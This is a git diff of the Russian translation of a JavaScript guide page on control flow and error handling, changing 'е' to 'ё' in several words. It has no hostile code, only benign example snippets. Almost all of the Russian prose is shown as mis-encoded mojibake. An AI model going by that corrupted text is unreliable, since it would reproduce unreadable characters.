diff --git a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
index a7b952b323..dd86463b4a 100644
--- a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
+++ b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</p>
<div class="summary">
-<p>JavaScript ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΊΠΎΠΌΠΏΠ°ΠΊΡ‚Π½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ инструкций, особСнно ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… инструкций, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ Π² вашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ. Π’ Π΄Π°Π½Π½ΠΎΠΉ Π³Π»Π°Π²Π΅ даСтся ΠΎΠ±Π·ΠΎΡ€ этих инструкций.</p>
+<p>JavaScript ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΊΠΎΠΌΠΏΠ°ΠΊΡ‚Π½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ инструкций, особСнно ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… инструкций, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ Π² вашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ. Π’ Π΄Π°Π½Π½ΠΎΠΉ Π³Π»Π°Π²Π΅ даётся ΠΎΠ±Π·ΠΎΡ€ этих инструкций.</p>
</div>
<p>Π‘ΠΎΠ»Π΅Π΅ подробная информация ΠΎΠ± инструкциях, рассмотрСнных в Π΄Π°Π½Π½ΠΎΠΉ Π³Π»Π°Π²Π΅, содСрТится Π²Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements">справочникС ΠΏΠΎ JavaScript</a>. Π’ΠΎΡ‡ΠΊΠ° с запятой ( <code>;</code> ) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для раздСлСния инструкций Π² ΠΊΠΎΠ΄Π΅.</p>
@@ -26,9 +26,9 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">while</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">&lt;</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{ </span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">++</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre>
-<p>Π’ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <code>{ x++; }</code> являСтся Π±Π»ΠΎΠΊΠΎΠΌ.</p>
+<p>Π’ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <code>{ x++; }</code> являСтся Π±Π»ΠΎΠΊΠΎΠΌ.</p>
-<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> Π² JavaScript <strong>отсутствуСт</strong> ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости Π±Π»ΠΎΠΊΠ° Π΄ΠΎ ECMAScript2015. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°, ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (ΠΈΠ»ΠΈ скрипта), Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ находится Π΄Π°Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ, вслСдствиС Ρ‡Π΅Π³ΠΎ ΠΎΠ½ΠΈ сохранят свои значСния ΠΏΡ€ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π΅ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ Π±Π»ΠΎΠΊΠ°. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π±Π»ΠΎΠΊ Π½Π΅ создаСт Π½ΠΎΠ²ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости. "АвтономныС" (standalone) Π±Π»ΠΎΠΊΠΈ Π² JavaScript ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠ΄ΡƒΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‰ΠΈΠΉΡΡ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° Π² языках C ΠΈΠ»ΠΈ Java. НапримСр:</p>
+<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> Π² JavaScript <strong>отсутствуСт</strong> ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости Π±Π»ΠΎΠΊΠ° Π΄ΠΎ ECMAScript2015. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°, ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (ΠΈΠ»ΠΈ скрипта), Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ находится Π΄Π°Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ, вслСдствиС Ρ‡Π΅Π³ΠΎ ΠΎΠ½ΠΈ сохранят свои значСния ΠΏΡ€ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π΅ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ Π±Π»ΠΎΠΊΠ°. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π±Π»ΠΎΠΊ Π½Π΅ создаёт Π½ΠΎΠ²ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости. "АвтономныС" (standalone) Π±Π»ΠΎΠΊΠΈ Π² JavaScript ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠ΄ΡƒΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‰ΠΈΠΉΡΡ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° Π² языках C ΠΈΠ»ΠΈ Java. НапримСр:</p>
<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">1</span><span class="punctuation token" style="color: #999999;">;</span>
<span class="punctuation token" style="color: #999999;">{
@@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
</span><span class="punctuation token" style="color: #999999;">}</span>
console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>x<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ 2</span></code></pre>
-<p>Π’ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ инструкция <code>var x</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° находится Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ области видимости, Ρ‡Ρ‚ΠΎ ΠΈ инструкция <code>var x</code> ΠΏΠ΅Ρ€Π΅Π΄ Π±Π»ΠΎΠΊΠΎΠΌ. Π’ C ΠΈΠ»ΠΈ Java эквивалСнтный ΠΊΠΎΠ΄ Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 1.</p>
+<p>Π’ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ инструкция <code>var x</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° находится Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ области видимости, Ρ‡Ρ‚ΠΎ ΠΈ инструкция <code>var x</code> ΠΏΠ΅Ρ€Π΅Π΄ Π±Π»ΠΎΠΊΠΎΠΌ. Π’ C ΠΈΠ»ΠΈ Java эквивалСнтный ΠΊΠΎΠ΄ Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 1.</p>
<p>Начиная с ECMAScript 6, ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>let</code> позволяСт ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Π² области видимости Π±Π»ΠΎΠΊΠ°. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅Β {{jsxref("Statements/let", "let")}}.</p>
@@ -75,7 +75,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla
<pre class="brush: js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; background-color: rgb(255, 255, 255);"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span>
</code></pre>
-<p>Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ присваиваниС Π² условном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, Ρ‚ΠΎ распространСнной ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ являСтся Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ присваивания Π² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ скобки. НапримСр:</p>
+<p>Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ присваиваниС Π² условном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, Ρ‚ΠΎ распространённой ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ являСтся Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ присваивания Π² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ скобки. НапримСр:</p>
<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre>
@@ -101,7 +101,7 @@ if (b) // это условиС true
if (b == true) // это условиС false
</pre>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ функция <code>checkData</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true</code>, Ссли число символов Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>Text</code> Ρ€Π°Π²Π½ΠΎ Ρ‚Ρ€Π΅ΠΌ; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС функция ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚Β ΠΎΠΊΠ½ΠΎ alert ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>false</code>.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ функция <code>checkData</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true</code>, Ссли число символов Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>Text</code> Ρ€Π°Π²Π½ΠΎ Ρ‚Ρ€Ρ‘ΠΌ; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС функция ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚Β ΠΎΠΊΠ½ΠΎ alert ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>false</code>.</p>
<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">checkData<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
<span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>document<span class="punctuation token" style="color: #999999;">.</span>form1<span class="punctuation token" style="color: #999999;">.</span>threeChar<span class="punctuation token" style="color: #999999;">.</span>value<span class="punctuation token" style="color: #999999;">.</span>length <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">==</span> <span class="number token" style="color: #990055;">3</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
@@ -131,9 +131,9 @@ if (b == true) // это условиС false
}
</pre>
-<p>Π‘Π½Π°Ρ‡Π°Π»Π° производится поиск Π²Π΅Ρ‚Π²ΠΈ <code>case</code> с ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ <code>label</code>, ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅ΠΉ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ выраТСния <code>expression</code>. Если совпадСниС Π½Π°ΠΉΠ΄Π΅Π½ΠΎ, Ρ‚ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π΄Π°Π½Π½ΠΎΠΉ Π²Π΅Ρ‚Π²ΠΈ ΠΊΠΎΠ΄ выполняСтся до ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>break</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π°Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ <code>switch</code> ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ дальшС. Π’Β ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ пСрСдаСтся Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π²Π΅Ρ‚Π²ΠΈ <code>default</code> ΠΈ выполняСтся ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π΅ΠΉ ΠΊΠΎΠ΄. Если Π²Π΅Ρ‚Π²ΡŒ <code>default</code> Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½Π°, Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ со строчки, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π·Π° инструкциСй <code>switch</code>. По соглашСнию Π²Π΅Ρ‚Π²ΡŒ <code>default</code> являСтся послСднСй Π²Π΅Ρ‚Π²ΡŒΡŽ, Π½ΠΎ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ этому соглашСнию Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
+<p>Π‘Π½Π°Ρ‡Π°Π»Π° производится поиск Π²Π΅Ρ‚Π²ΠΈ <code>case</code> с ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ <code>label</code>, ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅ΠΉ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ выраТСния <code>expression</code>. Если совпадСниС Π½Π°ΠΉΠ΄Π΅Π½ΠΎ, Ρ‚ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π΄Π°Π½Π½ΠΎΠΉ Π²Π΅Ρ‚Π²ΠΈ ΠΊΠΎΠ΄ выполняСтся до ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>break</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π°Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ <code>switch</code> ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ дальшС. Π’Β ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ пСрСдаётся Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π²Π΅Ρ‚Π²ΠΈ <code>default</code> ΠΈ выполняСтся ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π΅ΠΉ ΠΊΠΎΠ΄. Если Π²Π΅Ρ‚Π²ΡŒ <code>default</code> Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½Π°, Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ со строчки, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π·Π° инструкциСй <code>switch</code>. По соглашСнию Π²Π΅Ρ‚Π²ΡŒ <code>default</code> являСтся послСднСй Π²Π΅Ρ‚Π²ΡŒΡŽ, Π½ΠΎ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ этому соглашСнию Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
-<p>Если ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>break</code> отсутствуСт, Ρ‚ΠΎ послС выполнСния ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ соотвСтствуСт выбранной Π²Π΅Ρ‚Π²ΠΈ, начнСтся Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт Π·Π° Π½Π΅ΠΉ.</p>
+<p>Если ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>break</code> отсутствуСт, Ρ‚ΠΎ послС выполнСния ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ соотвСтствуСт выбранной Π²Π΅Ρ‚Π²ΠΈ, начнётся Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт Π·Π° Π½Π΅ΠΉ.</p>
<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ примСрС Ссли <code>fruittype</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>"Bananas"</code>, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ сообщСниС<code> "Bananas are $0.48 a pound."</code>Β ΠΈΒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>break</code> ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‚ΠΈΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ <code>switch</code>. Если Π±Ρ‹ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>break</code> отсутствовал, Ρ‚ΠΎ Π±Ρ‹Π» Π±Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Β ΠΊΠΎΠ΄, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π²Π΅Ρ‚Π²ΠΈ <code>"Cherries"</code>, Ρ‚.Π΅. Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ сообщСниС <code>"Cherries are $3.00 a pound."</code>.</p>
@@ -180,7 +180,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla
<pre style="font-size: 14px; white-space: normal;">throw expression;</pre>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€ΠΎΡΠΈΡ‚ΡŒ любоС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ выраТСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹Π±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ²:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€ΠΎΡΠΈΡ‚ΡŒ любоС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ выраТСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹Π±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ²:</p>
<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"Error2"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // string
</span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="number token" style="color: #990055;">42</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // number
@@ -235,7 +235,7 @@ catch (e) {
<pre style="font-size: 14px; white-space: normal;">catch (catchID) { statements }</pre>
